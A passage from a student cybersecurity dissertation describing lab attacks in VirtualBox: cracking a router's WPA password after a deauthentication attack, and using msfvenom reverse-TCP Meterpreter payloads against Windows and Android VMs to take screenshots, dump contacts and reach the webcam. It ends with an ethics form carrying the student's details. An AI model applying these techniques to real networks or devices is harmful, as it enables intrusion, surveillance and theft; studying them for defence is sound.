[bookmark: _Toc102124094]Figure 24 - Results of the Scan
After the scan was complete, I had to go through the results and find the device selected for this project. In the end it was found under the name of “TP-Link CBFC”.
All the other devices were crossed out of the screenshot simply because this is being done for educational purposes and did not want to reveal their devices, the other devices will be left untouched.

[image: ]
[bookmark: _Toc102124095]Figure 25 - Attack Option
There are two attack option with this hacking tool, and the regular attack will be implemented again the device.







[image: ]A wordlist attack is being performed for this device, in which the “rockyou.txt” file was chosen[bookmark: _Toc102124096]Figure 26 - Selecting a Wordlist


[image: ]
[bookmark: _Toc102124097]Figure 27 - rockyou.txt
The wordlist file being selected for this attack. Next now is to implement the attack.





[image: ]
[bookmark: _Toc102124098]Figure 28 - Attack begun/De-authentication has Started
The attack has begun on the TP Link, which means the attack implement the De-authentication attack which is a form of dos attack (denial of service), essentially making the device unusable by the user, meaning the user will not be able to connect to the device




[image: No description available.][bookmark: _Toc102124099]Figure 29 - Before Attack

[image: No description available.] [bookmark: _Toc102124100]Figure 30 - During Attack

Before the attack I connected my phone to the TP Link and was working as it should. 
During the attack the TP Link officially vanished as was not available to be used. This is because the dos attack took it offline.







[image: ] The handshake has been captured.[bookmark: _Toc102124101]Figure 31 - Handshake complete



[image: ]
[bookmark: _Toc102124102]Figure 32 - Attack Successful
The brute force has been done and the WPA Password has been cracked and provided at the bottom of the page.


[image: ]
[bookmark: _Toc102124103]Figure 33 - Password in Full
This is the full password from earlier when I changed the password from default to something more complex and it matches the password cracked from the hacking tool, it’s a full match and this demonstrates how it can be done using Kali Linux pre-installed hacking tools.


[bookmark: _Toc102124104][image: ]Figure 34 - Saved Key
After the hack the tool application saves any password keys done previously, so if you need the WPA password again it is saved by the application hacking tool.



 

[bookmark: _Toc101792304]Result of the Hack
The result of this hack has been successful overall, the main aim of this is to show how easy or hard it is to hack someone’s wireless access point. The result is that it is very simple for someone to do this, all they need is a USB Wi-Fi adaptor and they can easily detect your router, next they need to do is run a simplistic hacking tool like “Fern Wi-Fi Cracker” and they can have your password in the matter of minutes.

[bookmark: _Toc101792305]Laptop/Computer Hack
[image: No description available.] [bookmark: _Toc102124105]Figure 35 - Start of Hack 2

This is the start of hacking target 2 which is a standard Laptop or computer, again this will be done on “Oracle VirtualBox”. The first step is to add another Virtual Machine to the network.
The kali Linux machine is already installed from the previous hack which will be used for this scenario.












[image: ]
[bookmark: _Toc102124106]Figure 36 - Retrieving Windows 10 ISO
The ISO file is needed to create a Windows 10 virtual machine which we will be attempting to hack. 

[image: No description available.]
[bookmark: _Toc102124107]Figure 37 - Set up Target
After downloading the correct ISO files, the next step was to set up the target virtual machine, essential the start of the virtual network for scenario 2. This step had to be done correctly because the settings had to be configured changing the RAM storage as well as the correct number of processors to be given to this VM.  


[image: No description available.]
[bookmark: _Toc102124108]Figure 38 - Set-Up Process in Windows



[image: No description available.]
[bookmark: _Toc102124109]Figure 39 - Finishing up Process
Finishing up windows 10 download for the Virtual machine. 


[image: No description available.]
[bookmark: _Toc102124110]Figure 40 - Set-Up Process Complete
Set up process is all complete. Going through the steps and setting up username and passwords as well. The password set is very simplistic which contains letter and numbers. 

Next is to complete the hacking of this virtual machine.

[image: No description available.]
[bookmark: _Toc102124111]Figure 41 - Start of Hacking
 First things first is log on to the hacking vm, And open up the terminal 
[image: ]
The first line inputted into the terminal is “msfvenom –help” which gave me a list of options which can be executed but also gives detailed explanations to these executions.

[bookmark: _Toc102124112]Figure 42 - Accessing Terminal

[bookmark: _Toc102124113]Figure 43 - msfvenom command

[image: ]This command would give you a list of options which can be executed but also gives detailed explanations to these executions.  The next command that will executed is “mfsvenom –list payloads”
















[image: ][bookmark: _Toc102124114]Figure 44 - msfvenom --list payloads

This command gives you endless amount of options to attack which can be done via payloads, the one that I will be using is a “windows/meterpreter/reverse_tcp” the reason for this is because it’s a smart hack, in terms of I won’t be connecting to the target, it will be connecting to my device, thus fixies the issue with getting past a firewall because a firewall monitors incoming traffic, but thew firewall will not stop the user form connecting to me.
















[image: ]This is where the attack was getting set up, inputting an exploit into a file. After entering the command, the application asked to input the password, which was done, and this command was executed. Afterwards the terminal specified the payload size and that it was saved to a specific location within the files.[bookmark: _Toc102124115]Figure 45 - Setting up the Attack



















[image: ][bookmark: _Toc102124116]Figure 46 - Activating Metasploit



[image: ][bookmark: _Toc102124117]Figure 47 - Metasploit Activated

This stage would involve starting up Metasploit hacking tool, the reason for this is to execute the commands in full, and when they are set up the hack would begin with the target laptop.








[image: ] [bookmark: _Toc102124118]Figure 48 - Command executed


Fixing any issues with LHOST OR LPORT, if these are not set correctly the whole payload will not be executed as accordingly and the hack will be rendered a failure. The next command to input is exploit and this will execute the payload. 











[image: ][bookmark: _Toc102124119]Figure 49 - Finding the Payload File

Before executing the payload, I wanted to make sure the file was there with the payload inside and that is named correctly before sending the payload off.

[image: ]
[bookmark: _Toc102124120]Figure 50 - Execute Command
Now that I know everything is correct as it should be I will execute the command “Exploit” which will run the attack.












[image: ]
[bookmark: _Toc102124121]Figure 51 - Target Laptop
Now with the target laptop, the user would go to the IP address where the payload is.

[image: ]
This is where the danger is and the user could easily click the download link, which is where the payload is.


[bookmark: _Toc102124122]Figure 52 - The Payload


[image: ]
[bookmark: _Toc102124123]Figure 53 - Run Payload
This is where the user has downloaded the payload onto their Laptop/Computer, without them knowing what it is.






[image: ]
[bookmark: _Toc102124124]Figure 54 - Executing Payload
This is where the user would execute the payload from their Laptop/Computer. At this point the hacker has executed the payload meaning it is active so once the user runs this payload, the hacker would have full access to their Laptop/Computer.

[image: ]
The user has clicked “Yes”. The payload has been executed by the user. The hacker has full access to their device.






[bookmark: _Toc102124125]Figure 55 - Prompt Message are you sure?


[image: ]
[bookmark: _Toc102124126]Figure 56 - Confirmed Target has run Payload
This shows on the hackers end that the target has run the payload. Next is to run the “system info command”

[image: ][bookmark: _Toc102124127]Figure 57 - System Info Command

Hacker getting information about targets system.
Next command to input is “help”



[image: ][bookmark: _Toc102124128]Figure 58 - Help Command









[image: ]under the “Help” command this is showing aa list of commands which can be executed by the hacker against the target’s device, you can even execute the “Reboot” command which will reboot their whole device, and a lot more. [bookmark: _Toc102124129]Figure 59 - List of Remote Commands




[image: ]This is a screenshot oof more commands which can be executed against the target, for example a screenshot can be executed against the user, for example if they were on social media, you can take a screen grab of what the user can see. If the user has a webcam, you can record them or take a picture of them.[bookmark: _Toc102124130]Figure 60 - More Commands











[image: ]

[bookmark: _Toc102124131]Figure 61 - Execute Screenshot Command


The screenshot command has been executed and screenshot has been saved to the hacker’s device.
[image: ]
This is the result of the “Screenshot Command”, this was captured from the targets POV, and any command would work once executed.[bookmark: _Toc102124132]Figure 62 - Screenshot Command Result












[bookmark: _Toc101792306]Result of the Hack
The Hack went well overall, the main aim was to hack the targets device which was their computer and that was done. There were a few issues along the way like learning the commands and entering the wrong commands, also learning about payloads and other strategies to how it could have been done, but the payload was the best solution for this project, and overall, it was done, and I was able to successfully deliver the payload and it was implemented against the target. Which resulted the hacker in being able to control their device, for example the screenshot being taken to show this.

[bookmark: _Toc101792307]Smart Device Hack (Smart phone Android)
Luckily Oracle is already downloaded from the previous hacks. However, I had to reinstall Kali Linux. Firstly, we need to download an android for this hack because were going to be hacking a smart device and luckily a smart phone is considered as one of those. 
[image: No description available.]Hack number three is going to be hacking aa smart device which will be the smart phone, and you can implement a smart phone device into VirtualBox. First things first is to find an android ISO File.
[bookmark: _Toc102124133]Figure 63 - Finding Android ISO


[image: No description available.]Download the Android ISO file from the reliable website, android themselves.[bookmark: _Toc102124134]Figure 64 - Downloading Android ISO File

[bookmark: _Toc102124135]Figure 65 - Need to Create Android VM


[image: Open photo]Now I have to create an android Virtual machine within Oracle VirtualBox, luckily, I can re-use Kali Linux VM from the previous hacks.

[image: Open photo][bookmark: _Toc102124136]Figure 66 - Android VM Created

The Android VM has been created, straightforward and had to alter some setting like the video setting maxing it out as well as given it some extra processors. 


[image: Open photo]Running the Android VM to ensure it is working accordingly.[bookmark: _Toc102124137]Figure 67 - Running Android VM





[image: Open photo]Going through the set-up process as it provides.
[bookmark: _Toc102124138]Figure 68 - Going Through Set-Up Process

[image: ]
[bookmark: _Toc102124139]Figure 69 - Android VM Set-Up
After the set-up process is complete, making sure the VM is working and ready to bed hacked.

[image: No description available.]Next it to boot up the Hacking VM kali Linux and begin the Haack on the android.
[bookmark: _Toc102124140]Figure 70 - Next Start up Kali Linux

[image: ][bookmark: _Toc102124141]Figure 71 - Starting up the Terminal













[image: ]This command gives you a list of other commands which can be used for this attack that is going to happen, I went with the payload option again because it is best suited to this attack[bookmark: _Toc102124142]Figure 72 - msfvenom -help Command


[image: ]
[bookmark: _Toc102124143]Figure 73 - msfvenom Android command
Again, a reverse tcp attack is going to be chosen for this attack, because it’s a great way to get past any security protocols because the target is going to be connecting to you, bypassing any security which would get in the way. The command would generate the payload ready for use, and as you can see if tells the user the what the payload size is.





[image: ][bookmark: _Toc102124144]Figure 74 - Running MetaSploit

Starting up MetaSploit ready to start engaging the payload.

[image: ]This is the command used to start up the payload, using meterpreter selecting the reverse tcp option earlier from the help command.[bookmark: _Toc102124145]Figure 75 - Setting the Payload

[image: ][bookmark: _Toc102124146]Figure 76 - Checking LHOST and LPORT / Engaged Payload

This is where I made sure the LHOST and LPORT are correct, this is vital otherwise the hack would not work. Afterwards the “Exploit” command was used to start the payload and the application came back stating the payload has been done.





[image: ]This is what the application came back wit, stating that tcp handler has done what it was supposed to do. Metasploit has engaged the payload to the right IP, in which it has been sent and set up ready for the target to engage with.[bookmark: _Toc102124147]Figure 77 - Response from MetaSploit

[image: ][bookmark: _Toc102124148]Figure 78 - Accessing the internet with Android VM

Now with the Android VM, we would access the internet through the VM, and type in the correct IP address as a user would, and the apk should start downloading.

[image: ]After accessing the internet and running the IP the download does begin to download to the user’s smart phone.[bookmark: _Toc102124149]Figure 79 - Entering IP/ File Downloads





[image: ]
[bookmark: _Toc102124150]Figure 80 - Download Complete
Download is complete, and the user will receive the notification to show.




[image: ]
[bookmark: _Toc102124151]Figure 81 - Android Prompt to Install apk file
Once the user clicks the notification message, the device will prompt the user to install the file to their device.

[image: ]


[bookmark: _Toc102124152]Figure 82 - Installation Complete


Little message to show the user that the install is complete, click the done button. Now that the payload has been downloaded onto their phone the hacker has access to their device when ever they want.





[image: ]Next, I run two commands the first one was “background” which retrieved session four and then I run the command “sessions” which then came back people who have installed the apk file/ which is the payload and then who actually did install the payload onto their smart phone.[bookmark: _Toc102124153]Figure 83 - Command to Show Who Installed


[image: ]

[bookmark: _Toc102124154]Figure 84 - Command sessions -I 1


Selecting the target you want, in order to access their device.

[image: ]

[bookmark: _Toc102124155]Figure 85 - Entering Help Command


The Help command will show you the commands which can be implemented against the targets device for example webcam shot, will take a photo of the user without them knowing.




[image: ]







[bookmark: _Toc102124156]Figure 86 - Commands that can be Used


[image: ]Some commands which can be used against the user, one command will allow the hacker to edit files and so on.
[bookmark: _Toc102124157]Figure 87  - Commands that can be Used

Some more commands which can come in use to the hacker, for example “sessions” will allow the hacker to switch targets if they wish. The “load” command will allow the hacker to add more meterpreters to the target’s device allowing them to maintain access to the target if they wish.



[image: ]
[bookmark: _Toc102124158]Figure 88 - More Commands that can be Used
These commands are very handy if you want to get data such as sensitive information about the target, these commands will allow you to download them for you own personal gain.

[image: ][bookmark: _Toc102124159]Figure 89 - Useful Commands
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[bookmark: _Toc102124160]Figure 90 - App List command executed


Decided to run one of the commands to see what it comes up with.

[image: ]
[bookmark: _Toc102124161]Figure 91 - Result of Command
 The command worked and showed the applications which are downloaded on the user’s device, as you can see from figure 93 the user has YouTube download, as well as more
[image: ]



[bookmark: _Toc102124162]Figure 92 - Trying Another Command


Next, I tried the dump contacts command which as you can see downloaded the files which allows the hacker to download more files.


[image: ]


[bookmark: _Toc102124163]Figure 93 - Webcam Command


Next, I executed the webcam command, of course it was never going to work because I am using aa Virtual Android device, but if this was done in the real world the command would work.

[bookmark: _Toc101792308]Result of the Hack
Overall, the hack was a success, the objective was done which was hack a smart device, in which a smart phone was selected for this hack. The aim was to hack the device in which that was done. The hack was done using MSF venom and Metasploit, the hacking tool was great to use at times there were a few errors along the way, for example learning the commands different varieties of payloads which could be used, but overall, the result was a success.

[bookmark: _Toc101792309]Conclusions & Recommendations
[bookmark: _Toc371255563]In conclusion hacking is easily achievable to learn over a period if you are dedicated to learning new ways of doing things. In this report the main aim was to hack into three devices which are part of a network them being a Wireless Access-point, a computer/laptop and a smart device which could easily be a personas smart phone, and all three hacks were successful. The reason for this project being conducted is because Hacking is becoming a serious issue in the present day, people would think their network is secure enough to withstand a hack but, but it may not be. The reason for these devices being chosen is because they are being used on a day-to-day basis, and some are easier to crack than others but all three is achievable in the long run. All three hacks were done by using a Virtual network supplied by “Oracle VM VirtualBox”. When the virtual network was set up, the appropriate ISO files were downloaded to create the virtual machines themselves for example the hacking machine was using Kali Linux operating system in which the ISO file was download directly from Kali themselves. Once all the virtual machines were set up the hack could then begin. Appropriate research was conducted to know which tools would suit each hack an example of this was “Fern Wi-Fi Cracker” would be best suited to hacking the Wireless Access-Point, in which it was used for that, and the hacking tool did a wonderful job because it gave the hacker the key/Password to the device. The password was changed to a more difficult one, this included special characters and was around twenty to thirty characters long to make it harder to crack, but the tool retrieved the whole password, and the hack was rendered successful. The other two scenarios/hack were successful as well which was, he computer/laptop and smart device-smart phone. The other tool which was used for these hacks were MSF-Venom and Metasploit this tool is great to use because it generates payloads which exploit the targets devices in which the hacker can then control their device and do whatever they want with it. The Literature Review really helped with this project because it allowed me to conduct in depth research on the devices which were being hacked in this project, this allowed me to understand where the weaknesses were with the devices as well as vulnerabilities which are being targeted by hackers. If there were more that could be done to improve this project, it would be that only pre-installed tools were used for this project, there are more out there which can be used but must be downloaded to use within Kali Linux, those tools would be a recommendation because there are always better ones which can be implemented within this project.
[bookmark: _Toc101792310]Reflections
When conducting this project, I was shocked by how fast you can teach yourself about hacking, this includes the different types of hacking tools that come pre-installed with kali Linux but also others which can be downloaded and used with that operating system as well.
The project went well overall, and there are screenshots to show as evidence that the project was a success overall. The main aim of this project was to show to others how easy it is to hack yourself into a person home network and gaining access/control over those devices. However, there are tools out there which doesn’t not come pre-installed with Kali Linux which could have been more effective if used within this project. Bu also they could have been used in different scenarios if there were other devices for there to be hacked.
The strength about this project is that it shows other how easy it is to teach yourself hacking and how it can be implemented against devices within your own environment, this project was done on an educational basis and was used ethically and to do any illegal behaviour. Another strength about hacking is there is plenty of help on the internet as well as guides to show you how to do things.
A weakness of this project is the research onion, it was confusing at times on how to decide which area this project comes under the research onion diagram. Another one would be that none pre-installed tools were used in this project, it would have been good to show the difference between as well as the effectiveness of them and how they are better against pre-installed tools.
Future changes which would have conducted if there were more time for this project, one would have been using more tools for different scenarios, explain the advantages verses the disadvantages, as well as discussing the effectiveness of each tool.
Issues that came during the project would be not knowing how to use certain hacking tools and commands, for example MSF-Venom/Metasploit, sometimes I was using the incorrect commands to do things. A command which I learned during the process was the “help” command which displays to user the different commands which can be used as well as different payloads which can be generated during the process.
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[bookmark: _Toc101792313]Appendix B - Ethics Form

APPLICATION FOR ETHICAL APPROVAL

In order for research to result in benefit and minimise risk of harm, it must be conducted ethically. 

The University follows the OECD Frascati manual definition of research activity: “creative work undertaken on a systematic basis in order to increase the stock of knowledge, including knowledge of man, culture and society, and the use of this stock of knowledge to devise new applications”. As such this covers activities undertaken by members of staff, postgraduate research students, and both taught postgraduate and undergraduate students working on dissertations/projects.

The individual undertaking the research activity is known as the “principal researcher”.

This form must be completed and approved prior to undertaking any research activity. 

SECTION A: About You (Principal Researcher)
	1
	Full Name:
	Samuel Richards

	2
	Student Number:
	
1901717

	3
	Email address:
	1901717@student.uwtsd.ac.uk

	4
	Programme of Study:
	Computing Networking & Cyber Security

	5
	Director of Studies/Supervisor:
	Kapilan Radhakrishnan



SECTION B:  Internal and External Ethical Guidance Materials
	
	Please list the core ethical guidance documents that have been referred to during the completion of this form (including any discipline-specific codes of research ethics, location-specific codes of research ethics, and also any specific ethical guidance relating to the proposed methodology).  Please tick to confirm that your research proposal adheres to these codes and guidelines. You may add rows to this table if needed.

	1
	UWTSD Research Ethics & Integrity Code of Practice
	☒
	2
	UWTSD Research Data Management Policy
	☒

	3
	
	☐



SECTION C: External Collaborative Research Activity
If there are no external collaborators then leave this section blank and continue to section D
	1
	Does the research activity involve collaborators outside of the University?
	YES
	☐
	NO
	☒

	
	If Yes, please provide the name of the external organisation and name and contact details for the main contact person and confirmation this person has consented to their personal data being shared.as part of this collaboration.

	2
	Institution
	


	3
	Contact person name
	


	4
	Contact person e-mail address

	

	5
	Has this individual consented to sharing their details on this form?
	YES
	☐
	NO
	☒

	6
	Has permission to undertake the research has been provided by the partner organisation?
	(If YES attach copy)
If NO the application cannot continue
	YES
	☐
	NO
	☐

	7
	Does this organisation have its own ethics approval system that applies to this research?
	YES
	☐
	NO
	☒

	
	If Yes, please attach a copy of any final approval (or interim approval) from the organisation (this may be a copy of an email confirming any such approval).




SECTION D: Details of Research Activity
	1
	Indicative title:
	Testing the Security of a Home Network (HN)

	2
	Proposed start date:
	20/09/2021
	Proposed end date:
	13/05/2022

	
	Introduction to the Research (maximum 300 words in each section)
Ensure that you write for a Non-Specialist Audience when outlining your response to the three points below:
· Purpose of Research Activity
· Proposed Research Question
· Aims of Research Activity
· Objectives of Research Activity
Demonstrate, briefly, how Existing Research has informed the proposed activity and explain
· What the research activity will add to the body of knowledge 
· How it addresses an area of importance. 

	3
	Purpose of Research Activity
This project is all about trying to hack into a home network, the objective is to hack into one gaining access to the network and maintaining the access. The reason for this is because hacking is becoming very common now a days.


(this box should expand as you type)

	4
	Research Question

Is it possible to hack a HN to test the security features of the system and devices in order to find and exploit vulnerabilities in order to offer recommendations for securing HNs.


(this box should expand as you type)

	5
	Aims of Research Activity
The aim of this research is to attempt to hack a HN to test the security features of the system and devices in order to find and exploit vulnerabilities and offer recommendations for securing HNs.


(this box should expand as you type)

	6
	Objectives of Research Activity

Perform a review of existing research on HN, Smart devices, the security features which are involved, and hacking tools and software which are used in hacking such networks.
Create a hybrid virtual/physical network with connected physical HN devices.
Attempt to find and exploit vulnerabilities within the home network using the chosen tools and methods and report the results.
Offer recommendations for securing HN based on findings.

(this box should expand as you type)

	
	Proposed data collection methods (maximum 600 words)
Provide a brief summary of all the methods that may be used in the research activity to collect data, making it clear what specific techniques may be used. If methods other than those listed in this section are deemed appropriate later, additional ethical approval for those methods will be needed. You do not need to justify the methods here, but should instead describe how you intend to collect the data necessary for you to complete your project.

	7
	Oracle VM VirtualBox
Kali Linux hacking tools “Fern Wifi Cracker”, “Metasploit”
Kali Linux ISO File
Windows ISO File
Android ISO File

(this box should expand as you type)



SECTION E: Scope of Research Activity
	
	Will the research activity include:
	YES
	NO

	1
	Use of a questionnaire or similar research instrument?
	☐
	☒

	2
	Use of interviews?
	☐
	☒

	3
	Use of focus groups?
	☐
	☒

	4
	Use of participant diaries? 
	☐
	☒

	5
	Use of video or audio recording?
	☐
	☒

	6
	Use of computer-generated log files?
	☐
	☒

	7
	Participant observation with their knowledge?
	☐
	☒

	8
	Participant observation without their knowledge?
	☐
	☒

	9
	Access to personal or confidential information without the participants’ specific consent?
	☐
	☒

	10
	Administration of any questions, test stimuli, presentation that may be experienced as physically, mentally or emotionally harmful / offensive?
	☐
	☒

	11
	Performance of any acts which may cause embarrassment or affect self-esteem?
	☐
	☒

	12
	Investigation of participants involved in illegal activities?
	☐
	☒

	13
	Use of procedures that involve deception?
	☐
	☒

	14
	Administration of any substance, agent or placebo?
	☐
	☒

	15
	Working with live vertebrate animals?
	☐
	☒

	16
	Procedures that may have a negative impact on the environment?
	☐
	☒

	17
	Other primary data collection methods. Please indicate the type of data collection method(s) below.
	☐
	☒

	
	Details of any other primary data collection method:



(this box should expand as you type)
	
	



If you have ticked NO to every question then the research activity is (ethically) low risk and you may skip section F and continue to section G.

If you have ticked YES to any question, then no research activity should be undertaken until full ethical approval has been obtained. You should continue to section F.

SECTION F: Intended Participants
	
	Who are the intended participants:
	
YES
	
NO

	1
	Students or staff at the University?
	☐
	☒

	2
	Adults (over the age of 18 and competent to give consent)?
	☐
	☒

	3
	Vulnerable adults?
	☐
	☒

	4
	Children and Young People under the age of 18? (Consent from Parent, Carer or Guardian will be required)
	☐
	☒

	5
	Prisoners?
	☐
	☒

	6
	Young offenders?
	☐
	☒

	7
	Those who could be considered to have a particularly dependent relationship with the investigator or a gatekeeper?
	☐
	☒

	8
	People engaged in illegal activities?
	☐
	☒

	9
	Others. Please indicate the participants below, and specifically any group who may be unable to give consent.

	☐
	☒

	
	Details of any other participant groups:
Complete this only if your participants cannot give consent. This includes animals.

(this box should expand as you type)
	
	



	
	Participant numbers and source
Provide an estimate of the expected number of participants. How will you identify participants and how will they be recruited? 

	10
	How many participants are expected?

	0

	11
	Who will the participants be?

	
0

(this box should expand as you type)

	12
	How will you identify the participants?
	
0

(this box should expand as you type)




	
	Information for participants:
	
YES
	NO
	
N/A

	13
	Will you describe the main research procedures to participants in advance, so that they are informed about what to expect?
	☐
	☐
	☒

	14
	Will you tell participants that their participation is voluntary?
	☐
	☐
	☒

	15
	Will you obtain written consent for participation?
	☐
	☐
	☒

	16
	Will you explain to participants that refusal to participate in the research will not affect their treatment or education (if relevant)?
	☐
	☐
	☒

	17
	If the research is observational, will you ask participants for their consent to being observed?
	☐
	☐
	☒

	18
	Will you tell participants that they may withdraw from the research at any time and for any reason?
	☐
	☐
	☒

	19
	With questionnaires, will you give participants the option of omitting questions they do not want to answer?
	☐
	☐
	☒

	20
	Will you tell participants that their data will be treated with full confidentiality and that, if published, it will not be identifiable as theirs?
	☐
	☐
	☒

	21
	Will you debrief participants at the end of their participation, in a way appropriate to the type of research undertaken?
	☐
	☐
	☒

	22
	If NO to any of above questions, please give an explanation 

	
	You should be able to tick YES or N/A for all of these questions. If not, then explain why not in this box.

(this box should expand as you type)



	
	Information for participants:
	
YES
	NO
	
N/A

	24
	Will participants be paid?
	☐
	☐
	☒

	25
	Is specialist electrical or other equipment to be used with participants?
	☐
	☐
	☒

	26
	Are there any financial or other interests to the investigator or University arising from this study?
	☐
	☐
	☒

	27
	Will the research activity involve deliberately misleading participants in any way, or the partial or full concealment of the specific study aims?
	☐
	☐
	☒

	28
	If YES to any question, please provide full details 

	
	You should be able to tick NO or N/A for most of these questions. For any cases that you have ticked YES then provide details in this box. If you are using cameras/voice recorders to record interviews then please state that in this box.

(this box should expand as you type)



SECTION G: Anticipated Risks

	
	
Outline any anticipated risks that may adversely affect any of the participants, the researchers and/or the University, and the steps that will be taken to address them.  

	1
	Risks to participants
For example: sector-specific health & safety, emotional distress, financial disclosure, physical harm, transfer of personal data, sensitive organisational information. If you have identified in section D that there are no participants then enter N/A and go skip to question 3.

	
	Risk to participants:
None

(this box should expand as you type)
	How you will mitigate the risk to participants:



(this box should expand as you type)

	2
	If research activity may include sensitive, embarrassing or upsetting topics (e.g. sexual activity, drug use) or issues likely to disclose information requiring further action (e.g. criminal activity), give details of the procedures to deal with these issues, including any support/advice (e.g. helpline numbers) to be offered to participants. Note that where applicable, consent procedures should make it clear that if something potentially or actually illegal is discovered in the course of a project, it may need to be disclosed to the proper authorities

	
	


(this box should expand as you type)

	3
	Risks to the investigator
For example: personal health & safety, physical harm, emotional distress, risk of accusation of harm/impropriety, conflict of interest

	
	Risk to the investigator:
None, everything is being conducted in a virtual network, which will result to no risks.


(this box should expand as you type)
	How you will mitigate the risk to the investigator:



(this box should expand as you type)

	4
	University/institutional risks
For example: adverse publicity, financial loss, data protection

	
	Risk to the University:
There are always risks. Do not write N/A.


(this box should expand as you type)
	How you will mitigate the risk to the University:



(this box should expand as you type)

	5
	Environmental risks
For example: accidental spillage of pollutants, damage to local ecosystems

	
	Risk to the environment:



(this box should expand as you type)
	How you will mitigate the risk to environment:



(this box should expand as you type)



SECTION H: Feedback, Consent and Confidentiality

If you have identified in section E that there are no participants then skip this section and continue to section I.

	1
	Feedback
What de-briefing and feedback will be provided to participants, how will this be done and when? 

	
	You don’t need to email your participants with your final report. A good alternative is to set up an email address that they will be able to contact for further details or results.

(this box should expand as you type)

	2
	Informed consent
Describe the arrangements to inform potential participants, before providing consent, of what is involved in participating. Describe the arrangements for participants to provide full consent before data collection begins. If gaining consent in this way is inappropriate, explain how consent will be obtained and recorded in accordance with prevailing data protection legislation.

	
	If you are using a paper questionnaire then you should have the participants sign an appropriate consent form. These forms will count as personal data and should be noted as such in section J.
If you are using an online questionnaire, then you should have a screen before the questions start that acts as a consent form, informing participants that by clicking on the NEXT button they are providing consent.

(this box should expand as you type)

	3
	Confidentiality / Anonymity
Set out how anonymity of participants and confidentiality will be ensured in any outputs. If anonymity is not being offered, explain why this is the case. 

	
	Do not collect names unless you really need them. Do not name participants or organisations in any research publications (including the thesis) without their explicit permission.

(this box should expand as you type)



SECTION I: Data Protection and Storage

	
	Does the research activity involve personal data (as defined by the General Data Protection Regulation 2016 “GDPR” and the Data Protection Act 2018 “DPA”)?
	YES
	NO

	1
	“Personal data” means any information relating to an identified or identifiable natural person (‘data subject’). An identifiable natural person is one who can be identified, directly or indirectly, in particular by reference to an identifier such as a name, an identification number, location data, an online identifier or to one or more factors specific to the physical, physiological, genetic, mental, economic, cultural or social identity of that natural person. Any video or audio recordings of participants is considered to be personal data.
	☐
	☒

	
	If YES, provide a description of the data and explain why this data needs to be collected:

	2
	This includes audio/video data of participants, but can also include IP addresses and usernames. Names, addresses and emails also count, as do consent forms.

(this box should expand as you type)

	
	Does it involve special category data (as defined by the GDPR)?
	YES
	NO

	3
	“Special category data” means sensitive personal data consisting of information as to the data subjects’ –
(a) racial or ethnic origin,
(b) political opinions,
(c ) religious beliefs or other beliefs of a similar nature,
(d) membership of a trade union (within the meaning of the Trade Union and Labour Relations (Consolidation) Act 1992),
(e) physical or mental health or condition,
(f) sexual life,
(g) genetics,
(h) biometric data (as used for ID purposes),
	
☐
	
☒

	
	If YES, provide a description of the special category data and explain why this data needs to be collected:

	4
	What counts as ‘sensitive’ will differ between cultures. Any information on behaviour that is not in accordance with cultural norms would count as sensitive personal data.



(this box should expand as you type)



	
	
Will data from the research activity (collected data, drafts of the thesis, or materials for publication) be stored in any of the following ways?
	YES
	NO

	5
	Manual files (i.e. in paper form)?
	☐
	☒

	6
	University computers?
	☐
	☒

	7
	Private company computers?
	☐
	☒

	8
	Home or other personal computers?
	☒
	☐

	9
	Laptop computers/ CDs/ Portable disk-drives/ memory sticks?
	☒
	☐

	10
	“Cloud” storage or websites?
	☐
	☒

	11
	Other – specify:

	☐
	☒

	12
	For all stored data, explain the measures in place to ensure the security of the data collected, data confidentiality, including details of backup procedures, password protection, encryption, anonymisation and pseudonymisation:

	
	If possible, save your data on computers that are secure and regularly backed up. Many cloud services only provide GDPR-compliant storage for business customers. An example of suitable text is given below.

All data will be kept in password protected cloud storage on the University Office 365 system which
will not be shared. Audio/visual data will be transcribed and would be shown to participants to
check accuracy of reporting. Any USB sticks used to store or transfer data will be password protected. All participants will be given a unique identifier to ensure confidentiality and this list will be kept securely in the password protected folder. 


(this box should expand as you type)



	
	Data Protection

	
	Will the research activity involve any of the following activities:
	YES
	NO

	13
	Electronic transfer of data in any form?
	☒
	☐

	14
	Sharing of data with others at the University outside of the immediate research team?
	☐
	☒

	15
	Sharing of data with other organisations?
	☐
	☒

	16
	Export of data outside the UK or importing of data from outside the UK?
	☐
	☒

	17
	Use of personal addresses, postcodes, faxes, emails or telephone numbers?
	☐
	☒

	18
	Publication of data that might allow identification of individuals?
	☐
	☒

	19
	If YES to any question, please provide full details, explaining how this will be conducted in accordance with the GDPR and Data Protection Act (2018) (and/or any international equivalent):

	
	This includes data such as drafts of your thesis as well as experimental or survey data. An example of suitable text is given below.

All data will be encrypted and kept in password protected cloud storage on the University Office 365 system which will not be shared. Any USB sticks used to store or transfer data will be password protected. All data transfers will be encrypted and password protected.  All participants will be given a unique identifier to ensure confidentiality and this list will be kept securely in the password protected folder. The data will be stored until the completion of the project and then deleted. In accordance with the DPA2018, participants will have the right to ask to see what data is held relating to them, and this data will be deleted immediately if the participant requests this, in which case the data will not be used in the project.

(this box should expand as you type)

	20
	List all who will have access to the data generated by the research activity:

	
	Normally the principal researcher, possibly also the supervisor and, if the project has an industrial partner, a representative of that partner. Possibly also external examiner or second marker?

(this box should expand as you type)

	21
	List who will have control of, and act as custodian(s) for, data generated by the research activity:

	
	Usually the principal researcher.

(this box should expand as you type)

	22
	Give details of data storage arrangements, including security measures in place to protect the data, where data will be stored, how long for, and in what form. 

	
	This includes data such as drafts of your thesis as well as experimental or survey data. An example of suitable text is given below.

All data will be encrypted and kept in password protected cloud storage on the University Office 365 system which will not be shared. Any USB sticks used to store or transfer data will be password protected, and will be reformatted at the end of the project in order to destroy the data. The data will be stored until the completion of the project and then deleted. 

(this box should expand as you type)

	22
	Confirm that you have read the UWTSD guidance on data management (see https://www.uwtsd.ac.uk/library/research-data-management/)
	☒

	23
	Confirm that you are aware that you need to keep all data until after your research has completed or the end of your funding
	☒




SECTION J: Declaration
	
	The information which I have provided is correct and complete to the best of my knowledge. I have attempted to identify any risks and issues related to the research activity and acknowledge my obligations and the rights of the participants.

In submitting this application I hereby confirm that I undertake to ensure that the above named research activity will meet the University’s Research Ethics and Integrity Code of Practice which is published on the website: https://www.uwtsd.ac.uk/research/research-ethics/ 

	1
	Signature of applicant:
	S.Richards
	Date: 29/04/2022


	2
	Director of Studies/Supervisor:
	
	Date: 

	3
	Signature:
	
	





FOR INTERNAL USE ONLY:
	
	Ethical approval given 

	1
	Signature of assessor:
	
	Date:


	2
	Name:
	

	3
	Role:
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record_mic  Record audio from the default microphone for X seconds
webcam_chat  Start a video chat

webcam_list  List webcams

